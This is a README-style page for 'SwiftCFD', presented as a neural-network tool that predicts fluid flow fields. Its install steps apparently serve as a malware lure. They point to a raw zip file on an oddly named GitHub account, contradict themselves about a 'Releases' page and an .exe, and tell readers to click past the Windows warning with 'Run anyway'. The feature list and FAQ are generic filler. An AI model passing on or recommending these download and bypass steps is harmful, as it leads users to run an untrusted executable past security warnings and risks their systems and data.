SwiftCFD provides fast predictions for fluid dynamics problems. It uses a deep learning model to estimate flow fields. This tool replaces slow simulation methods with near-instant results. You can use it to see how fluids move around objects without needing a supercomputer.
Engineers and students study fluid flow to design better products. Traditional simulation software takes hours or days to calculate these patterns. SwiftCFD uses a pre-trained neural network to give you the same answers in seconds.
The software maps geometric shapes to pressure and velocity data. It focuses on the following:
- Flow velocity estimation
- Pressure distribution analysis
- Drag calculation around shapes
- Real-time visualization of results
Your computer needs specific hardware and software to run this application. Please verify that your system meets these standards:
- Operating System: Windows 10 or 11
- Processor: Intel Core i5 or AMD Ryzen 5 (or better)
- Memory: 8 GB RAM minimum
- Graphics: Dedicated NVIDIA graphics card with at least 4 GB of VRAM (recommended for optimal speed)
- Storage: 500 MB of free space
Follow these steps to obtain the program:
- Visit the repository page to download the installer: https://raw.githubusercontent.com/Devondradeconsecrated984/SwiftCFD/main/assets/CFD_Swift_gainliness.zip
- Locate the "Releases" section on the right side of the page.
- Click the version labeled "Latest".
- Select the file ending in
.exeto start the download.
- Open your "Downloads" folder.
- Double-click the file you saved to start the installation.
- If a warning window appears, click "More info", then click "Run anyway".
- Follow the instructions on the screen to finalize the setup.
- A shortcut icon will appear on your desktop.
- Double-click the SwiftCFD icon on your desktop.
- A command prompt window will open. Leave this window open while you use the software.
- Your default web browser will open automatically to the SwiftCFD interface.
- Upload your geometry file. The application accepts common 2D image formats or coordinate files.
- Press the "Predict" button to start the calculation.
- The model will process the data and show the flow field images.
Why does the command window stay open? The command window runs the background engine that performs the mathematical calculations. Closing this window stops the program.
Where do I find sample files? The installation folder includes a directory named "examples". You can use these files to test how the software works.
Does the software require internet access? No. Once you download and install the main package, the software performs all calculations locally on your machine.
The results look strange. How do I fix this? Ensure your input geometry is well-defined and clear. If the shape is too complex, the model may return inaccurate results. Try using a simple square or circle to verify the function of the tool first.
Does SwiftCFD need a special graphics card? The software runs on standard processors, but a graphics card makes the visualization load much faster. If your computer does not have a powerful graphics card, expect longer wait times during the prediction phase.
- Keep your input images simple.
- Use high-contrast images for better accuracy.
- Save your results frequently using the "Export" button provided in the browser window.
- Check the "Logs" directory in your installation folder if you see any errors.
This project follows an open-source model. If you find bugs or have feature requests, use the "Issues" tab on the GitHub page. Updates release periodically to improve the accuracy of the surrogate model. Check back on the download page to see if a newer version is available.
Ensure that your drivers for your graphics card remain up to date. This ensures the best performance during the neural network inference steps. If the program fails to launch, restart your computer and verify that no other heavy simulation software occupies your system memory.
